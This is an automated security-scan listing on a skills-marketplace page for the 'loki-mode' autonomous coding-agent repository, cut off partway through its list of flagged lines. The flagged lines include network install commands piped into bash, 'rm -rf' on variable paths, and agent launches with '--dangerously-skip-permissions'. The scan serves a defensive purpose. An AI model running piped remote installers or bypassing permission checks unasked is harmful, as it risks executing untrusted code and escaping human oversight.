byteswiki/Network-Security.mddoc4,543 byteswiki/Notifications.mddoc8,784 byteswiki/Prometheus-Metrics.mddoc5,380 byteswiki/Providers.mddoc9,359 byteswiki/Sandbox-Mode.mddoc6,417 byteswiki/Security.mddoc8,744 byteswiki/Troubleshooting.mddoc7,097 byteswiki/Use-Cases.mddoc8,631 byteswiki/_Sidebar.mddoc816 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubloki-mode-openclaw
When your agent uses it
Launch Loki Mode autonomous SDLC agent. Handles PRD-to-deployment with minimal human intervention. Invoke for multi-phase development tasks, bug fixing campaigns, or full product builds.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
967 tokensWhen the skill is activated
Reference documents
1,698 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Prerequisites
- How to invoke
- Critical rules
Scripts executed separately
bridge/__init__.pybridge/__main__.pybridge/schema_map.pybridge/watcher.pyscripts/format-progress.shscripts/poll-status.sh
Files
README.mddoc6,843 bytesSKILL.mdcore3,804 bytesSKILL.mdcore3,804 bytesbridge/__init__.pyruns45 bytesbridge/__main__.pyruns2,491 bytesbridge/schema_map.pyruns6,421 bytesbridge/watcher.pyruns3,228 bytesscripts/format-progress.shruns2,529 bytesscripts/poll-status.shruns2,624 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubloki-seal
When your agent uses it
Use when finishing any coding task in a repo with tests. Loki Seal runs the repo's real test suite and refuses to let you declare done while tests newly fail, or while tests or CI config were deleted, skipped, xfailed or weakened. Runs locally with no model calls.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
552 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to do when it blocks
- Install
Files
SKILL.mdcore2,466 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- loki-mode
- loki-mode-openclaw
- loki-seal
Repository facts
- License
- No license detected
- Created
- Dec 26, 2025
- Last pushed
- Nov 6, 2026
- Forks
- 206
- Open issues
- 184
- Project activity
- Active
Rank over the last 12 weeks
Now #815 · best #535 · down 158 in 30 days
- #801 on Nov 1
- #808 on Nov 2
- #811 on Nov 3
- #815 on Nov 4
- #814 on Nov 5
- #815 since Nov 6
51 earlier periods
- #528 on Aug 2
- #549 on Aug 6
- #523 on Aug 8
- #528 on Aug 9
- #547 from Aug 10 to Aug 11
- #553 on Aug 13
- #535 on Aug 15
- #552 on Aug 17
- #568 on Aug 18
- #568 on Aug 21
- #572 on Aug 23
- #576 on Aug 24
- #590 on Aug 25
- #559 on Aug 30
- #587 on Aug 31
- #614 on Sep 8
- #607 on Sep 10
- #597 on Sep 11
- #599 on Sep 13
- #616 on Sep 14
- #618 on Sep 15
- #624 on Sep 16
- #633 on Sep 21
- #642 on Sep 23
- #616 on Sep 24
- #642 on Sep 28
- #677 on Sep 29
- #656 on Sep 30
- #639 on Oct 2
- #617 on Oct 3
- #639 on Oct 4
- #644 on Oct 5
- #651 on Oct 6
- #657 on Oct 7
- #691 on Oct 8
- #671 on Oct 9
- #653 on Oct 11
- #674 on Oct 12
- #671 on Oct 13
- #686 on Oct 14
- #671 on Oct 17
- #664 on Oct 18
- #719 on Oct 21
- #699 on Oct 22
- #700 on Oct 23
- #674 on Oct 24
- #785 on Oct 25
- #789 on Oct 28
- #796 on Oct 29
- #797 on Oct 30
- #800 on Oct 31
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 3, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 379 notes
CHANGELOG.md:1Analysis incomplete: file exceeds text byte budgetCHANGELOG.md:485Analysis incomplete: physical or joined line exceeds character limitCHANGELOG.md:507Analysis incomplete: physical or joined line exceeds character limitCHANGELOG.md:508Analysis incomplete: physical or joined line exceeds character limitCHANGELOG.md:676Analysis incomplete: physical or joined line exceeds character limitCHANGELOG.md:684Analysis incomplete: physical or joined line exceeds character limitCHANGELOG.md:683Analysis incomplete: physical or joined line exceeds character limitSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedautonomy/loki:1Analysis incomplete: file exceeds text byte budgetautonomy/loki:11390Analysis incomplete: regex work limit reachedautonomy/run.sh:1Analysis incomplete: file exceeds text byte budgetautonomy/run.sh:11035Analysis incomplete: regex work limit reachedbenchmarks/h2h/results/2026-11-01-0ff237642.json:10128Analysis incomplete: regex work limit reachedbenchmarks/h2h/results/2026-11-01-e13f3dd72-hard.json:1Analysis incomplete: file exceeds text byte budgetbenchmarks/h2h/results/2026-11-01-e13f3dd72-hard.json:10169Analysis incomplete: regex work limit reachedbenchmarks/h2h/results/2026-11-01-learning-v2-after.json:10128Analysis incomplete: regex work limit reached
- 3 broad permissionsin 3 files: .claude/commands/loki-verify.md:1 plugins/loki-mode/commands/loki-verify.md:1 plugins/loki-mode/commands/start.md:1
- 502 dangerous shell commandsin 118 files: autonomy/run.sh:55 autonomy/loki:328 autonomy/sandbox.sh:188 and 115 more
- 5,727 network referencesin 391 files: package-lock.json:46 web-app/package-lock.json:39 autonomy/loki:34 and 388 more
- 362 obfuscation signalsin 32 files: loki-ts/dist/loki.js:2 web-app/dist/assets/ProjectPage-BCv8qSrj.js:2 web-app/dist/assets/index-DOUc1fHo.js:18 and 29 more
- 136 instruction override signalsin 36 files: loki-ts/src/providers/claude_flags.ts:616 autonomy/lib/claude-flags.sh:387 skills/parallel-workflows.md:276 and 33 more
- 1,754 executable scriptsin 1,754 files: .githooks/pre-commit:1 .githooks/pre-push:1 .github/actions/receipt-check/check.sh:1 and 1,751 more
- 1,954 references to secretsin 312 files: autonomy/run.sh:436 autonomy/completion-council.sh:422 autonomy/loki:683 and 309 more
- No requests to vote in Hot
Show all 10,438 signals by file
.claude-plugin/marketplace.json
- Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-marketplace.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-marketplace.json", - Network accessline 11
"source": "./plugins/loki-mode", "description": "Autonomous spec-to-product build system with a built-in trust layer. Ships Loki's spec-hardening (grill), living-spec drift detection, and deterministic PR verification commands, plus t - Network accessline 12
"description": "Autonomous spec-to-product build system with a built-in trust layer. Ships Loki's spec-hardening (grill), living-spec drift detection, and deterministic PR verification commands, plus the Loki MCP server (memory, task queue, - Network accessline 13
"homepage": "https://github.com/asklokesh/loki-mode", - Network accessline 14
"repository": "https://github.com/asklokesh/loki-mode", - Network accessline 29
"source": "./packages/loki-seal", "description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls.", "homepage": "https://github.com/asklokesh/loki-mo - Network accessline 30
"description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls.", "homepage": "https://github.com/asklokesh/loki-mode", "category": "testing", - Network accessline 31
"homepage": "https://github.com/asklokesh/loki-mode",
.claude/commands/loki-verify.md
- Broad permissionsline 1
Bash(loki verify:*), Bash(command -v:*), Read
.dockerignore
- Access to secretsline 15
[Credential-related source omitted]
.githooks/pre-commit
- Executable scriptline 1
#!/usr/bin/env bash
.githooks/pre-push
.github/CODE_OF_CONDUCT.md
.github/CONTRIBUTING.md
- Dangerous shell operationline 9
- **Bun 1.3+** (`brew install oven-sh/bun/bun` or `curl -fsSL https://bun.sh/install | bash`) -- powers the TypeScript runner under `loki-ts/` - Network accessline 9
- **Bun 1.3+** (`brew install oven-sh/bun/bun` or `curl -fsSL https://bun.sh/install | bash`) -- powers the TypeScript runner under `loki-ts/` - Network accessline 19
git clone https://github.com/asklokesh/loki-mode.git - Network accessline 119
Use the [issue templates](https://github.com/asklokesh/loki-mode/issues/new/choose) for bug reports and feature requests.
.github/ISSUE_TEMPLATE/config.yml
- Network accessline 2
contact_links: - name: Documentation url: https://github.com/asklokesh/loki-mode/wiki - Network accessline 3
- name: Documentation url: https://github.com/asklokesh/loki-mode/wiki about: Check the wiki for guides and references before opening an issue. - Network accessline 4
url: https://github.com/asklokesh/loki-mode/wiki - Network accessline 5
about: Check the wiki for guides and references before opening an issue. - name: Discussions url: https://github.com/asklokesh/loki-mode/discussions - Network accessline 6
- name: Discussions url: https://github.com/asklokesh/loki-mode/discussions about: Ask questions, share projects, or discuss ideas in Discussions. - Network accessline 7
url: https://github.com/asklokesh/loki-mode/discussions
.github/actions/issue-to-pr/action.yml
.github/actions/receipt-check/check.sh
- Executable scriptline 1
#!/usr/bin/env bash
.github/workflows/converge-dist-tags.yml
- Network accessline 41
package-manager-cache: false # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets node-version: '22' registry-url: 'https://registry.npmjs.org' - Network accessline 43
registry-url: 'https://registry.npmjs.org' - Access to secretsline 51
[Credential-related source omitted]
.github/workflows/release.yml
- Network accessline 213
package-manager-cache: false # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets node-version: '22' registry-url: 'https://registry.npmjs.org' - Network accessline 215
registry-url: 'https://registry.npmjs.org' - Access to secretsline 225
[Credential-related source omitted] - Network accessline 283
package-manager-cache: false # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets node-version: '22' registry-url: 'https://registry.npmjs.org' - Network accessline 285
registry-url: 'https://registry.npmjs.org' - Access to secretsline 312
[Credential-related source omitted] - Network accessline 473
class LokiMode < Formula desc "Autonomous coding agent platform CLI for Claude Code and opencode" homepage "https://github.com/asklokesh/loki-mode" - Network accessline 474
desc "Autonomous coding agent platform CLI for Claude Code and opencode" homepage "https://github.com/asklokesh/loki-mode" url "https://github.com/asklokesh/loki-mode/releases/download/vVERSION_PLACEHOLDER/loki-mode- - Network accessline 475
homepage "https://github.com/asklokesh/loki-mode" url "https://github.com/asklokesh/loki-mode/releases/download/vVERSION_PLACEHOLDER/loki-mode-VERSION_PLACEHOLDER.tar.gz" sha256 "SHA256_PLACEHOLDER" - Network accessline 476
url "https://github.com/asklokesh/loki-mode/releases/download/vVERSION_PLACEHOLDER/loki-mode-VERSION_PLACEHOLDER.tar.gz" - Network accessline 518
SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} VERSION_FOR_SLACK: v${{ needs.release.outputs.version }} RELEASE_URL_FOR_SLACK: https://github.com/asklokesh/loki-mode/releases/tag/v${{ needs.release.outputs.version } - Network accessline 519
VERSION_FOR_SLACK: v${{ needs.release.outputs.version }} RELEASE_URL_FOR_SLACK: https://github.com/asklokesh/loki-mode/releases/tag/v${{ needs.release.outputs.version }} run: | - Network accessline 520
RELEASE_URL_FOR_SLACK: https://github.com/asklokesh/loki-mode/releases/tag/v${{ needs.release.outputs.version }} - Access to secretsline 531
[Credential-related source omitted] - Access to secretsline 532
[Credential-related source omitted] - Network accessline 535
changelog = changelog[:1500] + '...' ask = ('*Ready for website update.* Reply in this thread:\n>`@Claude update the autonomi.dev blog for Loki Mode ' f'{version}. Read the changelog from https://github.com/asklok - Network accessline 536
ask = ('*Ready for website update.* Reply in this thread:\n>`@Claude update the autonomi.dev blog for Loki Mode ' f'{version}. Read the changelog from https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md for {versi - Network accessline 537
f'{version}. Read the changelog from https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md for {version}, ' - Network accessline 538
'then update src/data/blog-posts.ts in https://github.com/asklokesh/autonomi-website with a new blog post entry. ' - Network accessline 547
json.dump(payload, open(sys.argv[2], 'w')) PY curl -s -X POST "$SLACK_WEBHOOK_URL" -H 'Content-type: application/json' -d @"$RUNNER_TEMP/slack-payload.json" - Network accessline 548
PY curl -s -X POST "$SLACK_WEBHOOK_URL" -H 'Content-type: application/json' -d @"$RUNNER_TEMP/slack-payload.json" echo "Slack notification sent for ${VERSION_FOR_SLACK}" - Network accessline 549
curl -s -X POST "$SLACK_WEBHOOK_URL" -H 'Content-type: application/json' -d @"$RUNNER_TEMP/slack-payload.json" - Network accessline 596
package-manager-cache: false # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets node-version: '22' registry-url: 'https://registry.npmjs.org' - Network accessline 598
registry-url: 'https://registry.npmjs.org' - Access to secretsline 603
[Credential-related source omitted] - Network accessline 650
package-manager-cache: false # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets node-version: '22' registry-url: 'https://registry.npmjs.org' - Network accessline 652
registry-url: 'https://registry.npmjs.org' - Access to secretsline 670
[Credential-related source omitted]
.gitignore
.gitleaksignore
- Access to secretsline 119
[Credential-related source omitted]
CHANGELOG.md
- Network accessline 5
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Network accessline 6
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 407
[Credential-related source omitted] - Network accessline 674
- `loki start <github.com PR URL>` now sends the pull request to verify-pr through the installed `bin/loki` (it sealed nothing before: the route classed the URL as a brief and ran engine10). The URL is found at any position (a flag such as - Access to secretsline 826
[Credential-related source omitted] - Access to secretsline 1922
[Credential-related source omitted] - Dangerous shell operationline 1970
- The control-plane Ask policy deny list is back in step with the reviewer deny list (git `--exec-path`, `--output`, `--ext-diff` and `--no-index` forms, `rg --pre` and `--hostname-bin`, `find -exec` and `-delete` forms). It only adds denia - Dangerous shell operationline 2216
- The v11.17.57 release notes name the queue rm subcommand in prose, so the help and changelog drift guard passes on main again (STAB-1). - Dangerous shell operationline 2221
- `loki start` imports safe_git statically so the moat P9 allowToken caller scan passes again; the L2 destructive git registry scan no longer counts the queue rm subcommand name as a git call (STAB-1). - Access to secretsline 2227
[Credential-related source omitted] - Access to secretsline 2244
[Credential-related source omitted] - Network accessline 2727
### Fixed - Git token safety: token-carrying git fetch and pull reset repo-local CA, TLS verify and curl resolve settings, and never recurse into submodules, closing paths where a hostile repo could see the token. - Network accessline 2728
- Git token safety: token-carrying git fetch and pull reset repo-local CA, TLS verify and curl resolve settings, and never recurse into submodules, closing paths where a hostile repo could see the token. - Access to secretsline 2874
[Credential-related source omitted] - Dangerous shell operationline 2960
- Bash hook: under the compiled permission policy it cannot widen the policy, and it denies when python3 is missing or the input is malformed. The `rm -rf` safe-path override is checked per segment and refuses `..` and dot-glob path segment - Access to secretsline 3115
[Credential-related source omitted] - Access to secretsline 3218
[Credential-related source omitted] - Access to secretsline 3396
[Credential-related source omitted] - Access to secretsline 3421
[Credential-related source omitted] - Access to secretsline 3481
[Credential-related source omitted] - Access to secretsline 3494
[Credential-related source omitted] - Access to secretsline 3626
[Credential-related source omitted] - Access to secretsline 4062
[Credential-related source omitted] - Network accessline 4383
- fix: snapshot git status ignores repo-local core.fsmonitor. - fix: snapshot git status also blanks filter clean/smudge/process drivers (r2) - fix: snapshot git status passes filter overrides via GIT_CONFIG_KEY/VALUE, no lazy fetch (r3) - Network accessline 4384
- fix: snapshot git status also blanks filter clean/smudge/process drivers (r2) - fix: snapshot git status passes filter overrides via GIT_CONFIG_KEY/VALUE, no lazy fetch (r3) - fix: snapshot git status byte-exact driver lookup, fail closed - Network accessline 4385
- fix: snapshot git status passes filter overrides via GIT_CONFIG_KEY/VALUE, no lazy fetch (r3) - Network accessline 4732
### Changed - `loki` looks for a working bun on PATH, then the bundled copy (`node_modules/bun/bin/bun.exe`, or the platform package's `bin/bun` when install scripts were skipped), and accepts one only if `bun --version` succeeds within 2 s - Network accessline 4733
- `loki` looks for a working bun on PATH, then the bundled copy (`node_modules/bun/bin/bun.exe`, or the platform package's `bin/bun` when install scripts were skipped), and accepts one only if `bun --version` succeeds within 2 seconds. A bu - Access to secretsline 4983
[Credential-related source omitted] - Dangerous shell operationline 5274
- The web-app status push has a test for unmeasured cost; `v10-ops worktree-budget` prints how many worktrees a batch may open; the guard blocks a glob rm in a shared temp or scratchpad root, relative paths included. - Access to secretsline 5373
[Credential-related source omitted] - Dangerous shell operationline 5540
A failing case is allowed only if it sits in `tests/moat/pending.txt` with the milestone that builds it. That list can only shrink: the runner reads it at every release tag reachable from HEAD and fails on any entry that was not pending at - Access to secretsline 5818
[Credential-related source omitted] - Network accessline 5987
One bug was found while verifying it: `curl -fsS` exits non-zero on 404, so the fallback discarded the status code and every MISSING package was reported as unchecked. Without catching that, the detector would have been theatre. - Access to secretsline 6241
[Credential-related source omitted] - Access to secretsline 6548
[Credential-related source omitted] - Network accessline 6754
- **A flat `sleep 2` is off the critical path of every build.** The dashboard is polled on the same `/api/status` endpoint the reuse path already trusts and proceeds the moment it serves. The liveness property is preserved rather than trade - Dangerous shell operationline 8133
- `loki resume` could not be used to detect resumable state: `cmd_resume` does `rm -f "$LOKI_DIR/PAUSE"` and emits telemetry. `loki next --dry-run` was verified to write nothing. - Network accessline 8147
1. Node.js is not installed Install Node.js 18+: brew install node (macOS) | https://nodejs.org - Network accessline 8148
Install Node.js 18+: brew install node (macOS) | https://nodejs.org - Access to secretsline 8682
[Credential-related source omitted] - Network accessline 10124
- git and workspace **block**. A build cannot initialize a repo without git, and cannot record anything if `.loki` is unwritable. - node and the network probe are **advisory**. node is optional -- Python, Go and Rust builds never touch it - - Network accessline 10125
- node and the network probe are **advisory**. node is optional -- Python, Go and Rust builds never touch it -- and a 3s curl probe failing does not prove the provider CLI cannot connect (proxy, VPN, transient DNS all curl-fail while the re
CLAUDE.md
- Network accessline 1
# Loki Mode - Claude Code Skill Autonomous spec-to-product system: takes a PRD, GitHub issue, OpenAPI/JSON/YAML doc, or one-line brief to a deployed product via the RARV-C closure loop. Providers: Claude Code (CLI or Anthropic Agent SDK) an - Network accessline 2
Autonomous spec-to-product system: takes a PRD, GitHub issue, OpenAPI/JSON/YAML doc, or one-line brief to a deployed product via the RARV-C closure loop. Providers: Claude Code (CLI or Anthropic Agent SDK) and opencode (any model, including - Instruction override signalline 7
claude --dangerously-skip-permissions # then invoke "Loki Mode" - Dangerous shell operationline 55
rm -f -- "$marker" - Dangerous shell operationline 136
rm -rf -- "$target"
README.md
- Network accessline 5
[](https://www.npmjs.com/package/loki-mode) - Network accessline 6
[](https://www.npmjs.com/package/loki-mode) - Network accessline 7
[](https://hub.docker.com/r/asklokesh/loki-mode) - Network accessline 8
[](LICENSE) - Network accessline 10
[Website](https://www.autonomi.dev/) | [Quickstart](docs/QUICKSTART.md) | [Install guide](docs/INSTALLATION.md) | [User guide](docs/v10/GUIDE.md) | [CLI reference](docs/CLI-CORE-VERBS.md) | [Compare with opencode](docs/COMPARE-OPENCODE.md) - Network accessline 41
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Network accessline 90
Outcome: VERIFIED PR: https://github.com/owner/repo/pull/1 - Network accessline 91
PR: https://github.com/owner/repo/pull/1 - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Network accessline 138
loki control serve # http://127.0.0.1:47821 (--port N, --db PATH) - Access to secretsline 151
[Credential-related source omitted] - Network accessline 179
git clone https://github.com/asklokesh/loki-mode.git && cd loki-mode - Network accessline 189
Loki Mode is built by [Autonomi](https://www.autonomi.dev/).
SKILL.md
- Instruction override signalline 238
# Standard mode (Claude - full features) claude --dangerously-skip-permissions - Instruction override signalline 239
claude --dangerously-skip-permissions - Network accessline 245
loki start ./openapi.yaml # SPEC mode: OpenAPI/GraphQL/Postman contract expands to a per-operation checklist (v8.0.0) loki start owner/repo#123 # ISSUE mode (GitHub specific repo) loki start https://git - Network accessline 246
loki start owner/repo#123 # ISSUE mode (GitHub specific repo) loki start https://github.com/o/r/issues/42 # ISSUE mode (GitHub URL) loki start 123 # ISSUE mode (GitHub issue in current repo) - Network accessline 247
loki start https://github.com/o/r/issues/42 # ISSUE mode (GitHub URL) - Access to secretsline 255
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 276
[Credential-related source omitted] - Network accessline 464
**v11.124.2 | [Autonomi](https://www.autonomi.dev/) flagship product | core skill**
action.yml
- Instruction override signalline 40
default: '' auto_confirm: description: 'Skip confirmation prompts (auto-enabled in CI environments)' - Instruction override signalline 41
auto_confirm: description: 'Skip confirmation prompts (auto-enabled in CI environments)' required: false - Instruction override signalline 42
description: 'Skip confirmation prompts (auto-enabled in CI environments)' - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Network accessline 412
echo "## Loki Mode Code Review" echo "" echo "Automated review by [loki-mode](https://github.com/asklokesh/loki-mode)" - Network accessline 413
echo "" echo "Automated review by [loki-mode](https://github.com/asklokesh/loki-mode)" echo "" - Network accessline 414
echo "Automated review by [loki-mode](https://github.com/asklokesh/loki-mode)" - Dangerous shell operationline 457
rm -rf "${RUNNER_TEMP}/pr-"*.diff "${RUNNER_TEMP}/review-prd-"*.md \
agents/custom_agents.py
agents/hub_install.py
- Executable scriptline 1
Executable file - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 418
[Credential-related source omitted] - Network accessline 446
raise ManifestError(f"unsupported URL scheme: {parsed.scheme!r}") try: req = urllib.request.Request(source, headers={"User-Agent": "loki-hub"}) - Network accessline 447
try: req = urllib.request.Request(source, headers={"User-Agent": "loki-hub"}) with urllib.request.urlopen(req, timeout=60) as resp: # noqa: S310 - Network accessline 448
req = urllib.request.Request(source, headers={"User-Agent": "loki-hub"}) - Network accessline 449
with urllib.request.urlopen(req, timeout=60) as resp: # noqa: S310
agents/managed_registry.py
api/README.md
- Dangerous shell operationline 25
curl -fsSL https://deno.land/install.sh | sh - Network accessline 25
curl -fsSL https://deno.land/install.sh | sh - Access to secretsline 59
[Credential-related source omitted] - Network accessline 64
[Credential-related source omitted] - Network accessline 65
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 151
curl -X POST http://localhost:57374/api/sessions \ - Network accessline 159
const events = new EventSource('http://localhost:57374/api/events'); - Network accessline 181
const client = new LokiClient('http://localhost:57374'); - Network accessline 209
# Filter by session curl "http://localhost:57374/api/events?sessionId=session_123" - Network accessline 210
curl "http://localhost:57374/api/events?sessionId=session_123" - Network accessline 212
# Filter by event types curl "http://localhost:57374/api/events?types=task:completed,task:failed" - Network accessline 213
curl "http://localhost:57374/api/events?types=task:completed,task:failed" - Network accessline 215
# Filter log level curl "http://localhost:57374/api/events?minLevel=warn" - Network accessline 216
curl "http://localhost:57374/api/events?minLevel=warn" - Network accessline 218
# Replay recent history curl "http://localhost:57374/api/events?history=50" - Network accessline 219
curl "http://localhost:57374/api/events?history=50"
api/client.ts
- Executable scriptline 1
Executable file - Network accessline 6
* * Usage: * const client = new LokiClient("http://localhost:8420"); - Network accessline 7
* Usage: * const client = new LokiClient("http://localhost:8420"); * const session = await client.startSession({ provider: "claude" }); - Network accessline 8
* const client = new LokiClient("http://localhost:8420"); - Network accessline 66
try { const response = await fetch(`${this.baseUrl}${path}`, { - Network accessline 67
const response = await fetch(`${this.baseUrl}${path}`, {
api/middleware/auth.ts
- Executable scriptline 1
Executable file - Network accessline 20
allowLocalhost: true, apiToken: Deno.env.get("LOKI_API_TOKEN"), allowedOrigins: ["http://localhost:*", "http://127.0.0.1:*"], - Network accessline 21
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 22
allowedOrigins: ["http://localhost:*", "http://127.0.0.1:*"],
api/middleware/cors.ts
api/middleware/error.ts
- Executable scriptline 1
Executable file
api/middleware/timing.ts
- Executable scriptline 1
Executable file
api/mod.ts
- Executable scriptline 1
Executable file
api/openapi.yaml
- Network accessline 18
```javascript const events = new EventSource('http://localhost:8420/api/events'); - Network accessline 19
const events = new EventSource('http://localhost:8420/api/events'); - Network accessline 25
contact: name: Loki Mode url: https://github.com/asklokesh/loki-mode - Network accessline 26
name: Loki Mode url: https://github.com/asklokesh/loki-mode license: - Network accessline 27
url: https://github.com/asklokesh/loki-mode - Network accessline 28
license: name: MIT url: https://opensource.org/licenses/MIT - Network accessline 30
url: https://opensource.org/licenses/MIT - Network accessline 32
servers: - url: http://localhost:8420 - Network accessline 33
- url: http://localhost:8420
api/routes/events.ts
- Executable scriptline 1
Executable file
api/routes/health.ts
- Executable scriptline 1
Executable file
api/routes/learning.ts
api/routes/memory.ts
- Executable scriptline 1
Executable file - Network accessline 86
const timestamps = this.requests.get(clientId) || []; - Network accessline 97
recentTimestamps.push(now); this.requests.set(clientId, recentTimestamps); - Network accessline 98
this.requests.set(clientId, recentTimestamps); - Network accessline 109
const now = Date.now(); const windowStart = now - this.windowMs; for (const [clientId, timestamps] of this.requests.entries()) { - Network accessline 110
const windowStart = now - this.windowMs; for (const [clientId, timestamps] of this.requests.entries()) { const recent = timestamps.filter((t) => t > windowStart); - Network accessline 111
for (const [clientId, timestamps] of this.requests.entries()) { - Network accessline 112
const recent = timestamps.filter((t) => t > windowStart); if (recent.length === 0) { this.requests.delete(clientId); - Network accessline 113
if (recent.length === 0) { this.requests.delete(clientId); } else { - Network accessline 114
this.requests.delete(clientId); - Network accessline 115
} else { this.requests.set(clientId, recent); } - Network accessline 116
this.requests.set(clientId, recent);
api/routes/sessions.ts
api/routes/tasks.ts
- Executable scriptline 1
Executable file
api/server.js
- Executable scriptline 1
#!/usr/bin/env node - Access to secretsline 45
[Credential-related source omitted] - Network accessline 510
async function handleRequest(req, res) { const url = new URL(req.url, `http://${req.headers.host}`); - Network accessline 511
const url = new URL(req.url, `http://${req.headers.host}`); - Network accessline 518
const localhostPattern = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/; const isAllowed = localhostPattern.test(origin); res.setHeader('Access-Control-Allow-Origin', isAllowed ? origin : 'http://localhost'); - Network accessline 519
const isAllowed = localhostPattern.test(origin); res.setHeader('Access-Control-Allow-Origin', isAllowed ? origin : 'http://localhost'); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, DELETE, OPTIONS'); - Network accessline 520
res.setHeader('Access-Control-Allow-Origin', isAllowed ? origin : 'http://localhost'); - Network accessline 717
ensureDirectories().then(() => { server.listen(PORT, HOST, () => { console.log(`Loki API server running at http://${HOST}:${PORT}`); - Network accessline 718
server.listen(PORT, HOST, () => { console.log(`Loki API server running at http://${HOST}:${PORT}`); console.log(`Project directory: ${PROJECT_DIR}`); - Network accessline 719
console.log(`Loki API server running at http://${HOST}:${PORT}`);
api/server.ts
api/services/cli-bridge.ts
- Executable scriptline 1
Executable file
api/services/event-bus.ts
- Executable scriptline 1
Executable file
api/services/learning-collector.ts
api/services/state-notifications.ts
- Executable scriptline 1
Executable file
api/services/state-watcher.ts
- Executable scriptline 1
Executable file
api/types/api.ts
- Executable scriptline 1
Executable file
api/types/events.ts
- Executable scriptline 1
Executable file
api/types/memory.ts
- Executable scriptline 1
Executable file
assets/welcome/welcome.html
- Network accessline 6
<meta name="theme-color" content="#553DE9"> <title>Welcome to Loki Mode</title> <link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 7
<title>Welcome to Loki Mode</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 8
<link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 9
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 10
<link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> - Network accessline 237
<div class="cta-row"> <a class="cta primary" href="https://www.autonomi.dev/docs" target="_blank" rel="noopener">Read the docs</a> - Network accessline 238
<a class="cta primary" href="https://www.autonomi.dev/docs" target="_blank" rel="noopener">Read the docs</a> - Network accessline 252
<footer> Loki Mode by <a href="https://www.autonomi.dev/" target="_blank" rel="noopener">Autonomi</a>. - Network accessline 253
Loki Mode by <a href="https://www.autonomi.dev/" target="_blank" rel="noopener">Autonomi</a>. - Network accessline 254
Questions? <a href="https://www.autonomi.dev/docs" target="_blank" rel="noopener">autonomi.dev/docs</a> - Network accessline 259
(function () { "use strict"; var POSTHOG_HOST = "https://us.i.posthog.com"; - Network accessline 260
"use strict"; var POSTHOG_HOST = "https://us.i.posthog.com"; var POSTHOG_KEY = "phc_ya0vGBru41AJWtGNfZZ8H9W4yjoZy4KON0nnayS7s87"; - Network accessline 261
var POSTHOG_HOST = "https://us.i.posthog.com"; - Access to secretsline 327
[Credential-related source omitted] - Network accessline 345
fetch(POSTHOG_HOST + "/capture/", {
autonomy/NOTIFY_INTEGRATION.md
- Network accessline 29
| Variable | Description | Example | |----------|-------------|---------| | `LOKI_SLACK_WEBHOOK` | Slack incoming webhook URL | `https://hooks.slack.com/services/...` | - Network accessline 30
|----------|-------------|---------| | `LOKI_SLACK_WEBHOOK` | Slack incoming webhook URL | `https://hooks.slack.com/services/...` | | `LOKI_DISCORD_WEBHOOK` | Discord webhook URL | `https://discord.com/api/webhooks/...` | - Network accessline 31
| `LOKI_SLACK_WEBHOOK` | Slack incoming webhook URL | `https://hooks.slack.com/services/...` | - Network accessline 32
